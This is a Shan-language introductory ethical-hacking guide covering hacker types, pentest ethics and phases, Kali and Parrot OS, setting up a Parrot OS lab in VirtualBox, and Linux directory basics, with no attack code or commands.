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ႁူႉၸၵ်းၵၢၼ်ႁႅၵ်ႉ (hacking)
ၵၢၼ်ၼိုင်ႈ -

1.1 /
ၵၢၼ်ႁႅၵ်ႉ (hacking) ၵၢၼ်ႁႅၵ်ႉ (hacking) ဢၼ်ဝႃႈၼၼ်ႉပွင်ႇဝႃႈ ၵၢၼ်ႁႃပၼ်ႁႃဢမ်ႇၼၼ် လွင်ႈယုပ်ႈယွမ်းၶွင် ၶိူင်ႈမိုဝ်း IT 

ေသ ၶဝ်ႈထိုင်ေၶႃႈမုၼ်းလပ်ႉဢၼ်မီးၼႂ်းမၼ်း။ ပိူင်တႅၵ်ႈ မၼ်းမိူၼ်ၼင်ႇၵၢၼ်ၸႂ်ႉပူဝ်ႊၵႅမ်ႊ (program) 
ေသ လၵ်ႉမၢႆလပ်ႉ ၶွမ်းပိူၼ်ႈ။ 

1.2 /
ႁႅၵ်ႇၵႃႇ (hackers) ႁႅၵ်ႇၵႃႇ (hacker) ပဵၼ်ၵူၼ်းဢၼ်ၵႂႃႇ ႁႅၵ်ႉပိူၼ်ႈ တႃႇၶဝ်ႈထိုင်ေၶႃႈမုၼ်းလပ်ႉသုၼ်ႇတူဝ် ဢမ်ႇၼၼ် 

မုၵ်ႉၸုမ်းပူိၼ်ႈ။ ၵမ်ႈၼမ် ႁႅၵ်ႇၵႃႇၼၼ်ႉ ပဵၼ်ၽူႈလူင်ႉလႅၼ်ႇ ၽၢႆႇ IT ၸိူဝ်းဢၼ်ေမႃႈတႅမ်ႈပူဝ်ႊၵႅမ်ႊ 
(programing)။ 

ႁႅၵ်ႇၵႃႇၼၼ်ႉ မီးလၢႆမဵဝ်း - 

Ethical Hacker (white hat) - ႁႅၵ်ႇၵႃႇၵူၼ်းလီ ဢမ်ႇၼၼ် ႁႅၵ်ႇၵႃႇမၢၵ်ႇ 
ႁူဝ်သီၶၢဝ်။ ႁႅၵ်ႇၵႃႇသႅၼ်းၼႆႉ ၸၢမ်းလၵ်ႉေၶႃႈ မုၼ်းလပ်ႉၶွင်ပိူၼ်ႈေသ 
ၶိုၼ်းတၢင်ႇလၢႆးငၢၼ်းပၼ်ပိူၼ်ႈ ႄလႈ ၸွႆႈႄၵႈလိတ်ႈပၼ်ႁႃ။

Cracker (black hat) - ႁႅၵ်ႇၵႃႇၵူၼ်းႁၢႆႉ ဢမ်ႇၼၼ် ႁႅၵ်ႇၵႃႇမၢၵ်ႇႁူဝ်သီ 
လမ်။ ႁႅၵ်ႇၵႃႇသႅၼ်းၼႆႉ ယႃႉၵဝ်း ဢမ်ႇၼၼ် လၵ်ႉေၶႃႈမုၼ်းပိူၼ်ႈ တွၼ်ႈ 
တႃႇၽွၼ်းလီၸဝ်ႈၵဝ်ႇ။

Grey hat - ႁႅၵ်ႇၵႃႇမၢၵ်ႇႁူဝ်သီမူၼ်ႇ။ ႁႅၵ်ႇၵႃႇသႅၼ်းၼႆႉ မၢင်ပွၵ်ႈေၵႃႈ ပဵၼ်
ၵူၼ်းလီမၢင်ပွၵ်ႈသမ်ႉပဵၼ်ၵူၼ်းႁၢႆႉ။

Script kiddes: ႁႅၵ်ႇၵႃႇလုၵ်ႈဢွၼ်ႇ။  ၼႆႉပဵၼ်ၸိုဝ်ႈဢၼ်ၸႂ်ႉတႃႇ ႁႅၵ်ႇၵႃႇ 
ၸိူဝ်းဢၼ်ဢမ်ႇမီးတၢင်းႁူႉသင်ေသ ၸႂ်ႉၶိူင်ႈ မိုဝ်းဢၼ်ပိူၼ်ႈႁဵတ်းမႃး 
ၵႂႃႇႁႅၵ်ႉတၢင်ႇေၵႃႉ။

Hacktivist- ၽူႈတူင်ႉၼိုင်ၽၢႆႇႁႅၵ်ႉ။ ႁႅၵ်ႇၵႃႇသႅၼ်းၼႆႉ 
ပဵၼ်ႁႅၵ်ႇၵႃႇဢၼ်ၵတ်ႉၶႅၼ်ႇႄလႈ ၵႂႃႇႁႅၵ်ႉပိူၼ်ႈ ယွၼ်ႉ သႃႇသၼႃ၊ 
ၵၢၼ်မိူင်း၊ ဢမ်ႇၼၼ် လွင်ႈယုမ်ႇယမ်ၸဝ်ႈၵဝ်ႇ။
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1.3 /
ႁႅၵ်ႇၵႃႇၵူၼ်းလီ
(ethical hacker) 

Ethical Hacker (white hat) - ႁႅၵ်ႇၵႃႇၵူၼ်းလီ ဢမ်ႇၼၼ် ႁႅၵ်ႇၵႃႇမၢၵ်ႇႁူဝ်သီၶၢဝ်ၼႆႉ ပဵၼ်ၵူၼ်း 
ဢၼ်ၸၢမ်းလၵ်ႉေၶႃႈမုၼ်းလပ်ႉၶွင်ပိူၼ်ႈေသ ၶိုၼ်းတၢင်ႇလၢႆးငၢၼ်းပၼ်ပိူၼ်ႈ ႄလႈ ၸွႆႈႄၵႈလိတ်ႈ 
ပၼ်ႁႃသင်ၶဝ်ထူပ်းႁၼ်လွင်ႈယုပ်ႈယွမ်းၼႂ်းၶိူင်ႈမိုဝ်း IT ။ တၢင်းယိူင်းဢၢၼ်းသုင်သုတ်းၶွင် ႁႅၵ်ႇၵႃႇ 
ၵူၼ်းလီၼၼ်ႉ ပဵၼ်ပုၼ်ႈတႃႇ “ႁဵတ်းႁႂ်ႈမီးလွင်ႈႁူမ်ႇလူမ်ႈေၶႃႈမုၼ်းသုင်သုတ်း” ၼၼ်ႉယဝ်ႉ။

ႁႅၵ်ႇၵႃႇၵူၼ်းလီၼႆႉ ေတလႆႈၸွမ်း ပၵ်းပိူင်မိူၼ်ၼင်ႇ -

• ေတလႆႈယွၼ်းၶႂၢင်ႉ ၸဝ်ႈၶွင် ၶိူင်ႈ IT ဢၼ်ေတၵႂႃႇႁႅၵ်ႉဢွၼ်တၢင်း

• ေတလႆႈၶိုၼ်းတၢင်ႇၽိုၼ်လၢႆးငၢၼ်း ၵပ်းၵၢႆႇလူၺ်ႈၵူၼ်ထူပ်းႁၼ် ၵူႈလွင်ႈလွင်ႈ 
ႄၼၸဝ်ႈၶွင်မၼ်း

• ေတဢမ်ႇလႆႈ ပိုၼ်ႄၽႈေၶႃႈမုၼ်းလပ်ႉၼႆႉ ပၼ်ၵူၼ်းတင်ႇေၵႃႉ

• ၸွႆႈႄၵႈလိတ်ႈပၼ်ႁႃ ဢမ်ႇၼၼ်လွင်ႈယုပ်ႈယွမ်းဢၼ်လႆႈထူပ်းႁၼ်

1.4 /
ၶိူင်ႈမိုဝ်းႁႅၵ်ႇၵႃႇ
(hacking tools) 

Operation Systems (OS) ဢၼ်ႁႅၵ်ႇၵႃႇၸႂ်ႉ

ဝၼ်းမိူဝ်ႈၼႆႉ OS ဢၼ်ၸႂ်ႉတႃႇၵၢၼ်ႁႅၵ်ႉၼၼ်ႉမီးတင်းၼမ်။ ဢၼ်ၸိုဝ်ႈလင်ႄလႈၸႂ်ႉၼမ်သုတ်းၼၼ်ႉ 
ေတပဵၼ် Kali Linux ႄလႈ Parrot OS ၼၼ်ႉယဝ်ႉ။ 

Kali Linux Parrot OS

ပိုၼ်းၵႅပ်ႈ

လွင်ႈပႅၵ်ႇပိူင်ႈၵၼ် 

Kali Linux ၼၼ်ႉလုၵ်ႉတီႈ Debian Linux 
ေသႁဵတ်းမႃး။ မၼ်းပဵၼ် OS ဢၼ်ထုၵ်ႇၸႂ်ႉ
ၼမ်သုတ်းၼႂ်းလုမ်ႈၾႃႉ ပုၼ်ႈတႃႇၵၢၼ်ႁႅၵ်ႉ။ 
Kali Linux သႂ်ႇမႃးပႃးၶိူင်ႈမိုဝ်းႁႅၵ်ႉ 600 ပၢႆ 
တႃႇၵၢၼ်ႁႅၵ်ႉၵူႈလွင်ႈလွင်ႈ။ မိူဝ်ႈဢွၼ်တၢင်း 
ၸိုဝ်ႈမၼ်းႁွင်ႉဝႃႈ BackTrack Linux ၵူၺ်း 
မႃးလႅၵ်ႈလၢႆႈၸိုဝ်ႈပဵၼ် Kali Linux ၼႂ်းပီ 2013။

• ေတလႆႈမီး RAM တီႈေဢႇသုတ်း 1GB
• သင်လူင်းၼႂ်းၶွမ်းၼႆ ေတလႆႈမီးပိုၼ်ႉတီႈ 

ၵဵပ်းေၶႃႈမုၼ်းတီႈေဢႇသုတ်း 20 GB

• ေတလႆႈမီး RAM တီႈေဢႇသုတ်း 320MB
• 2. သင်လူင်းၼႂ်းၶွမ်းၼႆ ေတလႆႈမီးပိုၼ်ႉတီႈ

ၵဵပ်းေၶႃႈမုၼ်းတီႈ 
• တီႈေဢႇသုတ်း 16 GB

Parrots OS ၼၼ်ႉလုၵ်ႉတီႈ Deban Linu 
ေသ ႁဵတ်းဢွၵ်ႇမႃးမိူဝ်ႈပီ 2013။ လၢႆပီမႃးၼႆႉ 
Parrots OS လႆႈႁပ်ႉလွင်ႈသူၼ် ၸႂ်ႄလႈမီးၵူၼ်း 
ၸႂ်ႉမၼ်းၼမ်မႃးႄတႉႄတႉ။
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လွင်ႈဢၼ်မိူၼ်ၵၼ် 

• OS တင်းသွၼ်ဢၼ်ႁဵတ်းမႃးပုၼ်ႈတႃႇၵၢၼ်ႁႅၵ်ႉ (hacking)
• ၶဝ်တင်းသွင်ဢၼ် လုၵ်ႉတီႈ Debian Linux ေသတႅမ်ႈမႃး
• ၶဝ်တင်းသွင်ဢၼ် သႂ်ႇမႃးပႃးပူဝ်ႊၵႅမ်ႊၶိူင်ႈမိုဝ်းတႃႇၵၢၼ်ႁႅၵ်ႉတင်းၼမ်
• ၶဝ်တင်းသွၼ်ဢၼ် သႂၢင်းသႂ်ႇၼႂ်း ၾူၼ်း ဢမ်ႇၼၼ် IoTs လႆႈ
• ၶဝ်တင်းသွၼ်ဢၼ် ပဵၼ် OS open source ဢၼ်ဢမ်ႇလူဝ်ႇသိုဝ်ႉ

လွင်ႈတၢင်းဢၼ်ႁႅၵ်ႇၵႃႇလိူၵ်ႈၸႂ်ႉ OS

• ၵူၼ်းၸႂ်ႉၼမ်ႄလႈမီးၶိူင်ႈမိုဝ်းၼမ်
• ၽၢင်ႁၢင်ႈပူဝ်ႊၵႅမ်ႊ ႁၢင်ႈလီႄလႈလီၸႂ်ႉ

• မၼ်းႁဵတ်းမႃးပုၼ်ႈတႃႇ လပ်ႉေၶႃႈမုၼ်း 
သုၼ်ႇတူဝ်ၶွင်ႁႅၵ်ႇၵႃႇ ၵမ်းသိုဝ်ႈ

• OS ႄလႈ ပူဝ်ႊၵႅမ်ႊၼၼ်ႉမၢဝ်လိူဝ်ႄလႈ 
လဵၼ်ႈလႆႈဝႆးလိူဝ် Kalinux

1.5 /

1.6 /

တၢင်းႁူႉဢၼ်ႁႅၵ်ႇၵႃႇလူဝ်ႇမီး
(hacking skills)

ၽႃႇသႃႇပူဝ်ႊၵႅမ်ႊတႃႇႁႅၵ်ႇၵႃႇ 
(programming language)

ၵၢၼ်ပဵၼ်ႁႅၵ်ႇၵႃႇၵတ်ႉၶႅၼ်ႇေၵႃႉၼိုင်ႈၼၼ်ႉ ေတလႆႈမီးတၢင်းႁူႉလၢႆၽၢႆႇပုၼ်ႈတႃႇ 
ႁႂ်ႈထိုင်တီႈယဵင်းမၢႆၸဝ်ႈၵဝ်ႇ။ ပိုၼ်ႉၶၢမ်ႇတၢင်းႁူႉဢၼ် ေတလႆႈမီးၼၼ်ႉ မီးမိူၼ်ၼင်ႇ -

• Networking Administration - ႁူႉၸၵ်းၵၼ်ႁဵတ်းၵၢၼ်ၶွင် internet ႄလႈ network လီလီ
• Linux Administration - မီးပိုၼ်ႉၶၢမ်ႇၵၢၼ်ၸႂ်ႉ Linux OS
• Windows Administration - မီးတၢင်းႁူႉလွင်ႈ Windows
• Programming skills - ေမႃၽႃႇသႃႇတႅမ်ႈပူဝ်ႊၵႅမ်ႊပိုၼ်ႉၶၢမ်ႇ (eg. HTML, PHP, Python)

ႁႅၵ်ႇၵႃႇၼိုင်ႈေၵႃႉေတလႆႈေမႃတႅမ်ႈပူဝ်ႊၵႅမ်ႊၽႃႇသႃႇသင်ၼႆၼၼ်ႉ ေၶႃႈတွပ်ႇမၼ်းယူႇတီႈဝႃႈႁႅၵ်ႇၵႃႇ 
ေၵႃႉၼၼ်ႉ မၼ်းၶႂ်ႈႁႅၵ်ႉသင်။ ပိူင်တႅၵ်ႈမၼ်း သင်ၶႂ်ႈႁႅၵ်ႉ Windows ၼႆေတလႆႈတႅမ်ႈမႅင်း ဢၼ်ၸႂ်ႉ 
ၽႃႇသႃႇ Visial Basic Classic (.vbc) ၊ ၵူၺ်းၵႃႈ .vbc ၼႆႉမၼ်းဢမ်ႇၸႂ်ႉလႆႈၼႂ်း Linux။ ၵွပ်ႈၼၼ် 
ႁႅၵ်ႇၵႃႇၵမ်ႈၼမ် ေတလိူၵ်ႈၸႂ်ႉၽႃႇသႃႇပူဝ်ႊၵႅမ်ႊ ဢၼ်ၸႂ်ႉလႆႈၼႂ်းၵူႈ OS မိူၼ်ၼင်ႇ - 

#

1

2

3

4

5

6

7

ၸိုဝ်ႈ

HTML/CSS

JavaScript

PHP

SQL

Python

C C++

Java

တီႈၸႂ်ႉ

တႃႇတႅမ်ႈဝႅပ်ႉ

တႃႇတႅမ်ႈပူဝ်ႊၵႅမ်ႊဝႅပ်ႉ

တႃႇ web server

တႃႇ dabase 

တႃႇတႅမ်ႈပူဝ်ႊၵႅမ်ႊ

တႃႇတႅမ်ႈပူဝ်ႊၵႅမ်ႊ

တႃႇတႅမ်ႈပူဝ်ႊၵႅမ်ႊ

လွင်ႈတၢင်း

ၸႂ်ႉတႃႇႁႅၵ်ႉဝႅပ်ႉ မိူၼ်ၼင်ႇေၶႃႈမုၼ်း login

ၸႂ်ႉတႃႇႁႅၵ်ႉဝႅပ်ႉ မိူၼ်ၼင်ႇ cookies

ၸႂ်ႉတႃႇႁႅၵ်ႉဝႅပ်ႉ server

ၸႂ်ႉတႃႇႁႅၵ်ႉေၶႃႈမုၼ်းဝႅပ်ႉ

ၸႂ်ႉတႃႇတႅမ်ႈမႅင်း virus ၵူႈလွင်ႈလွင်ႈ

တႃႇတႅမ်ႈမႅင်း(virus) Windows ႄလႈ Linux

ၸႂ်ႉတႃႇတႅမ်ႈမႅင်း Android ႄလႈ ၶွမ်း



လွင်ႈႁူမ်ႇလူမ်ႈေၶႃႈမုၼ်း

+5

Penetration Testing (ဢမ်ႇၼၼ် Pen-testing) ပဵၼ်ၵၢၼ်ၵၢၼ်ႁႃပၼ်ႁႃ ဢမ်ႇၼၼ် ေၶႃႈယုပ်ႈ 
ယွမ်းၼႂ်း ၶိူဝ်းၶၢႆႇ (networks)၊ systems ႄလႈ ၶိူင်ႈမိုဝ်းဢၢႆႇထီႇ (applications) တႃႇေႁႉၵင်ႈဢမ်ႇ
ႁႂ်ႈေၶႃႈမုၼ်းႁၢႆလၢႆ။ Penetration testing ၸၢမ်းပဵၼ်ႁႅၵ်ႇၵႃႇၵူၼ်းႁၢႆႉေသ ႁႅၵ်ႉတူၺ်းေၶႃႈမုၼ်း။ 

တႃႇႁဵတ်း Penetration Testing ၼၼ်ႉ ႁႅၵ်ႇၵႃႇေတလႆႈႁဵတ်းၸွမ်းပိူင်ပႃႈတႂ်ႈၼႆႉ-

• ေတလႆႈဢုပ်ႇဢူဝ်းႄလႈလႆႈၶႂၢင်ႉ (ၽိုၼ်လိၵ်ႈေၶႃႈလႆႈၸႂ်) တီႈၸဝ်ႈၶွင်ေၶႃႈမုၼ်းဢၼ်ေတ
ၸၢမ်းႁႅၵ်ႉတူၺ်းဢွၼ်တင်း

• ေတဢမ်ႇလႆႈ ၸၢမ်းႁႅၵ်ႉၼမ်လိူဝ် ၶွပ်ႇၶဵတ်ႇ (ဢွင်ႈတီႈ) ဢၼ်လႆႈၸႂ်ၵၼ်ဝႆႉတင်းၸဝ်ႈၶွင် 
ေၶႃႈမုၼ်း

• ေတဢမ်ႇလႆႈပိုၼ်ႄၽႈေၶႃႈမုၼ်းပၼ်တင်ႇေၵႃႉ လိူဝ်ေသၸဝ်ႈၶွင်ေၶႃႈမုၼ်း
• ႁဵတ်းပုၼ်ႈၽွၼ်းၼႃႈတီႈၸဝ်ႈၵဝ်ႇ ႁႂ်ႈလီတီႈသုတ်း

ၵၢၼ်ပဵၼ်ၽူႈၸၢမ်းလွင်ႈႁူမ်ႇလူမ်ႈေၶႃႈမုၼ်းဢမ်ႇၼၼ် penetration-tester ၼၼ်ႉ ပွင်ႇဝႃႈၶဝ်ေတလႆႈ 
ပဵၼ်ၵူၼ်းေမႃယႃႉၵဝ်းေၶႃႈမုၼ်း ႄလႈေမႃေႁႉၵင်ႈေၶႃႈမုၼ်း။ ယွၼ်ႉၼၼ် ၽူႈၸၢမ်းလွင်ႈႁူမ်ႇလူမ်ႈ 
ေၶႃႈမုၼ်း ေတလႆႈမီးတၢင်းႁူႉတင်းၼမ် မိူၼ်ၼင်ႇ -

• Information Grathering   - ၵၢၼ်ၵဵပ်းေၶႃႈမုၼ်း
• Linux system exploitation  - ၵၢၼ်ႁႅၵ်ႉ Linux system
• Windows system exploitation   - ၵၢၼ်ႁႅၵ်ႉ Windows system
• Network system exploitation  - ၵၢၼ်ႁႅၵ်ႉ Network system
• Web application exploitation  - ၵၢၼ်ႁႅၵ်ႉဝႅပ်ႉ
• Reverse engineering   - ၵၢၼ်ၸွပ်ႇႁႃ source code ၶွင်မႅင်း 
• Anti-virus Evasion   - ၵၢၼ်ပၢႆႈဢမ်ႇႁႂ်ႈ ပူဝ်ႊၵႅမ်ႊၶႃႈႁႅမ်မႅင်း  

     (Anti-virus) ၺွပ်းလႆႈ
• • Social Engineering   - ၵၢၼ်ႁႅၵ်ႉၵူၼ်း (ၵၢၼ်ႁႅၵ်ႉပၢႆးၸႂ်)

1.7 /

1.8 /

1.9 /

ႁူႉၸၵ်း ၵၢၼ်ၸၢမ်းလွင်ႈ 
ႁူမ်ႇလူမ်ႈေၶႃႈမုၼ်း 
(penetration testing)

တၢင်းႁူႉဢၼ် ၽူႈၸၢမ်းလွင်ႈ 
ႁူမ်ႇလူမ်ႈ (pen-tester) လူဝ်ႇမီး

ၶၵ်ႉတွၼ်ႈၵၢၼ်ၸၢမ်း 
လွင်ႈႁူမ်ႇလူမ်ႈေၶႃႈမုၼ်း
(pen-testing processes)

1 ၵၢၼ်ႁၢင်ႈႁႅၼ်း 
(preparation)

ၽႅၼ်ၵၢၼ်ဝႃႈမီးလွင်ႈယဵၼ်းဢၢ
ၼ်းေတႁႅၵ်ႉဢီႈသင်၊ တီႈလႂ်၊ 
ၽႂ်လႂ်၊ ႄလႈ ၶၢဝ်းယၢမ်းလ်ႂ

4 ၵၢၼ်ႁႅၵ်ႉ 
(exploitation)

ၸႂ်ႉလွၵ်းလၢႆးႁႅၵ်ႉၵူႈလွင်ႈလွင်ႈ 
ေသ ၸၢမ်းႁႅၵ်ႉတူၺ်းဝႃႈၸွင်ႇ 

ၶဝ်ႈယႃႉၵဝ်းေၶႃႈမုၼ်းလႆႈ

5 ၵၢၼ်လၢႆးငၢၼ်း 
(reporting)

ဝၢႆးေသႁႅၵ်ႉယဝ်ႉ ေတလႆႈၶိုၼ်း 
တင်ႇၽိုၼ်လၢႆးငၢၼ်းဝႃႈ 

ထူပ်းႁၼ်ပၼ်ႁႃသင်ႄလႈ 
ေတလႆႈႄၵႈ လိတ်ႈပၼ်ႁႃ 

ၸိူင်ႉႁိုဝ်

2 ၵၢၼ်ၵဵပ်းေၶႃႈမုၼ်း 
(reconnaissance)

ၵဵပ်းေၶႃႈမုၼ်းၵပ်းၵၢႆႇလူၺ်ႈ 
လွင်ႈဢၼ်ႁဝ်းေတႁႅၵ်ႉ 

မိူၼ်ၼင်ႇၶဝ်ပဵၼ်ၽႂ်၊ 
ယူႇတီႈလႂ်၊ ၸိုဝ်ႈဝႅပ်ႉဝႃႈႁိုဝ်၊ 
ၸႂ်ႉၶိူင်ႈမိုဝ်းသင်၊ ႄလႈၸႂ်ႉ 

system သင်ၸိူဝ်းၼႆႉ

3 ၵၢၼ်ႁႃလွင်ႈယုပ်ႈယွမ်း 
(scanning)

ၸႂ်ႉၶိူင်ႈမိုဝ်းႁႅၵ်ႇၵႃႇေသ 
ႁႃတူၺ်းဝႃႈၶိူင်ႈမိုဝ်း IT 

ၶွင်ၵူၼ်းႁၼ်ႁဝ်းေတႁႅၵ်ႉၼၼ်ႉ 
ၸွင်ႇၶဝ်လိုမ်းပိၵ်ႉၽၵ်းတူ 

(port) သင်ဝႆႉ ႄလႈၸွင်ႇမၼ်း
မီးပၼ်ႁႃဢၼ်ၸင်ႈႁဵတ်းႁႂ်ႈၶဝ်ႈ

ယႃႉၵဝ်းမၼ်းလႆႈ



လွင်ႈႁူမ်ႇလူမ်ႈေၶႃႈမုၼ်း

- 6

ၵၢၼ်ႁၢင်ႈႁႅၼ်းၶိူင်ႈမိုဝ်း (Lab)
ၵၢၼ်သွင် -

2.1 /
ၶူိင်ႈမိုဝ်းႁႅၵ်ႇၵႃႇ ၵၢၼ်ပဵၼ်ႁႅၵ်ႇၵႃႇၼၼ်ႉ ေတလႆႈၸႂ်ႉၶိူင်ႈမိုဝ်းတင်းၼမ်။ ဢိင်ၼိူဝ်လွင်ႈတၢင်းဢၼ်ၸဝ်ႈၵဝ်ႇၶႂ်ႈႁဵ

တ်း ၶႂ်ႈသၢင်ႈေသ ႁႅၵ်ႇၵႃႇေၵႃႉၼိုင်ႈႄလႈေၵႃႉၼိုင်ႈၸႂ်ႉၶိူင်ႈမိုဝ်း ဢၼ်ဢမ်ႇမိူၼ်ၵၼ်။ ၵမ်ႈၼမ်ႄတႉ 
ေတဢွၵၼ်ၵၼ်ၸႂ်ႉ ၶိူင်ႈမိုဝ်း hardware (မဵဝ်းဢၼ်ယိပ်းလႆႈ) ႄလႈ ၶိူင်ႈမိုဝ်း software (မဵဝ်းဢၼ် 
ဢမ်ႇယိပ်းလႆႈ မိူၼ်ၼင်ႇပႃႈတႂ်ႈၼႆႉ-

ၶိူင်ႈမိုဝ်း hardware

computer

mobile phone

email သုၼ်ႇတူဝ်
VPN တႃႇလပ်ႉ 

IP address
Security OS 

တႃႇႁႅၵ်ႉ
Virtualbox တႃႇသၢင်း 

Linux ၼႂ်းၶွမ်း Windows

USB

WiFi adapter

ၶိူင်ႈမိုဝ်း software
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2.2 /
တၢဝ်ႊလူတ်ႊ software 
ဢၼ်လူဝ်ႇၸႂ်ႉ

2.3 /
ႁၢင်ႈႁႅၼ်းတီႈၵဵပ်းေၶႃႈမုၼ်း

2.4 /
လၢႆးသၢင်း Parrot OS ၼႂ်း 
Virtualbox

တၢဝ်ႊလူတ်ႊ Parrots OS တီႈ 
www.parrotlinux.org

သင်ေတသၢင်း Parrot OS ၼႂ်း 
Windows ၼႆ ႁႂ်ႈတၢဝ်ႊလူတ်ႊ 

Security Edition (.ova)

တၢဝ်ႊလူတ်ႊ Virtualbox တီႈ www.
virtualbox.org

1. သၢင်ႈ Folder ဢၼ်မႂ်ႇမိူၼ်ၼင်ႇ Virtualbox (ၶတ်းၸႂ်ယႃႇသႂ်ႇၼႂ်း C: သင်ပဵၼ်လႆႈ ယွၼ်ႉေၶႃႈမုၼ်း 
ေတႁႆၢမိူဝ်ႈ Windows ၵွႆ)။

2. ဢဝ် Parrot OS.iso ၵႂႃႇၵဵပ်းဝႆႉၼႂ်း Folder ဢၼ်ႁဵတ်းမႂ်ႇ။

1) ၽုၺ်ႇပူဝ်ႊၵႅမ်ႊ Virtualbox ယဝ်ႉၵႂႃႇတီႈ 
File  >>  Import Applications
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2. လိူၵ်ႈ Parrot Security.ova ဢၼ်ႁဝ်းလႆႈႁၢင်ႈႁႅၼ်းဝႆႉ

3. လိူၵ်ႈ တိႈၵဵပ်းေၶႃႈမုၼ်း Virualbox ေတတဵၵ်း Import

မၢႆတွင်း - ႁဝ်းၶႃႈၸၢင်ႈလႅၵ်ႈလၢႆႈတင်းၼမ် RAM၊ CPU ႄလႈ Hardisk တႆႈၼႆႈလႆႈ

ပႂ်ႉႁႂ်ႈၶွမ်း Import ေၶႃႈမုၼ်းေသ သင်ဝႃႈႁၼ်ၶႅပ်းႁၢင်ႈပႃႈတႂ်ႈၼႆႉၼႆ ပွင်ႇဝႃႈ Parrot OS ႁဝ်း 
ၽွမ်ႉတႃႇေသႁဵတ်းၵၢၼ်ယဝ်ႉ!
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2.5 /
လၢႆးၸတ်းၵၢၼ် RAM တႃႇ 
Virtualbox

တႃႇၶွမ်းေတလဵၼ်ႈ Parrot OS ၼႂ်း Virtualbox လႆလီၼၼ်ႉတီႈေဢႇသုတ်း ေတလႆႈပၼ် RAM တႃႇ 
2 GB (သင်ပဵၼ်လႆႈၼႆ 4GB)။

လိူၵ်ႈ Parrot OS တၢင်းသၢႆႉမိုဝ်းေသ တဵၵ်းတီႈ Settings

ၵႂႃႇတီႈ Systems ေသသႂ်ႇပၼ် RAM တီႈေဢႇသုတ်း 2048 MB (2GB) ယဝ်ႉတဵၵ်း OK

ၽုၺ်ႇ Virtualbox ယဝ်ႉၵႂႃႇတဵၵ်းတီႈ Start

မၢႆတွင်း - သင်ဝႃႈဢမ်ႇၽုၺ်ႇ Parrot OS လႆႈၼႆ ၶႅၼ်းေတႃႈတၢဝ်ႊလူတ်ႊႄလႈသၢင်း 
Oracle VM VirtualBox Extension Pack တီႈ www.virtualbox.org/wiki/Downloads

2.6 /
လၢႆးလဵၼ်ႈ Parrot OS ၼႂ်း 
Virtualbox
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ႁူၵ်ႉၸၵ်း Linux
ၵၢၼ်သၢမ်

3.1 /
လီႊၼိၵ်ႊ (Linux) လီႊၼိၵ်ႊ (Linux) ပဵၼ် Operation System မဵဝ်းၼိုင်ႈ မိူၼ်ၼင်ႇ Windows , Android, iOS 

ႄလႈ MacOS။ Linux ၼၼ်ႉဢၢင်ႈဢိင်ဢဝ်ပိူင် OS ၶွင် Unix ေသ ႄတႇသၢင်ႈမႃးၼႂ်းပီ 1991 
လူၺ်ႈၽူႈတႅမ်ႈပူဝ်ႊၵႅမ်ႊၸိုဝ်ႈ Linus Torvalds။ Linux ပဵၼ် OS ဢၼ်ဢမ်ႇလူဝ်ႇလႆႈသိုဝ်ႉ (open 
source) ႄလႈ ယၢမ်းလဵဝ် Linux ၼၼ်ႉထုၵ်ႇၸႂ်ႉၼႂ်းၶိူင်ႈမိုဝ်းဢၢႆႇထီႇ (IT) ၸမ်ၵူႈတီႈ! ဝႅပ်ႉသၢႆႉ 
ဢၼ်ႁဝ်းၶဝ်ႈတူၺ်း၊ ၶိူင်ႈေယးငိုၼ်းဢၼ်ႁဝ်းၵႂႃႇထုၵ်ႈငိုၼ်း၊ ၾူၼ်း Android ႄလႈ macOS ၼၼ်ႉ 
လုၵ်ႉတီႈ Linux မႃးတင်းမူတ်းယဝ်ႉ။

ဢိင်ၼိူဝ်ပဵၼ် OS ဢၼ်ဢမ်ႇလူဝ်ႇသိုဝ်ႉၼႆႄလႈ ၵူၼ်းၸိူဝ်းဢၼ်ၶႅၼ်ႇၽၢႆႇတႅမ်ႈပူဝ်ႊၵႅမ်ႊ (program-
mer) ၼၼ်ႉ ၸၢင်ႈဢဝ် kernal code ၶွင် Linux ၶိုၼ်းထုတ်ႇႁဵတ်းဢွၵ်ႇ OS မႂ်ႇမႂ်ႇလႆႈ။ ၼႆႉပွင်ႇဝႃႈ 
ပီႈၼွင်ႉတႆးႁဝ်းေၵႃႈၸၢင်ႈဢၢင်ႈဢိင်ဢဝ် Linux ေသ သၢင်ႈဢွၵ်ႇ OS ၽႃႇသႃတႆးလႆႈ ၼႆယဝ်ႉ။

logo ၶွင် Linux+

OS ဢၼ်ၸႂ်ႉ Linux+

Linus Torvalds ၽူႈသၢင်ႈ Linux+



လွင်ႈႁူမ်ႇလူမ်ႈေၶႃႈမုၼ်း

+11

3.2 /
ၵၢၼ်ၵဵပ်းေၶႃႈမုၼ်းၶွင်လီႊၼိၵ်ႊ
(Linux Directory Structure)

ၵဵပ်းသိမ်းေၶႃႈမုၼ်း files တႃႇႄတႇၽုၺ်ႇၶွမ်း

ၼႂ်း Linux ၼၼ်ႉ ေၶႃႈမုၼ်းၵူႈလွင်ႈလွင်ႈေတထုၵ်ႇၵဵပ်းဝႆႉၼႂ်း root 

တီႈၵဵပ်းသိမ်းေၶႃႈမုၼ်း libraries ဢၼ် /bin လူဝ်ႇၸႂ်ႉ

တီႈၵဵပ်းသိမ်းေၶႃႈမုၼ်း services မိူၼ်ၼင်ေၶႃႈမုၼ်းဝႅပ်ႉ ႄလႈ server

တီႈၵဵပ်းသိမ်း ပူဝ်ႊၵႅမ်ႊၶွမ်း မိူၼ်ၼင်ႇ Firefox

တီႈၵဵပ်းသိမ်းေၶႃႈမုၼ်း ၵပ်းၵၢႆႇလူၺ်ႈၶိူင်ႈမိုဝ်း လုၵ်ႉတင်းၼွၵ်ႈေသမႃးေသၶွမ်း 
မိူၼ်ၼင်ႇ USB, CD-DVD ႄလႈ Wi-Fi Card

တီႈၵဵပ်းေၶႃႈမုၼ်းၶိူင်ႈၵူႈလွင်ႈလွင်ႈၼႂ်းၶွမ်း (မိူၼ်ၵၼ်တင်း /dev) 

တီႈၵဵပ်းသိမ်းေၶႃႈမုၼ်း ၶိူင်ႈၵူႈလွင်ႈလွင်ႈၼႂ်းၶွမ်း မိူၼ်ၼင်ႇ Hardisk, Wifi, 
Soundcard, CPU ႄလႈ RAM

တီႈၵဵပ်းသိမ်းေၶႃႈမုၼ်းၸူဝ်ႈၵႅမ်ႉ ၸိူဝ်းဢၼ်လုၵ်ႉတီႈ USB ႄလႈ CD-DVD 
ေသၶဝ်ႈမႃး

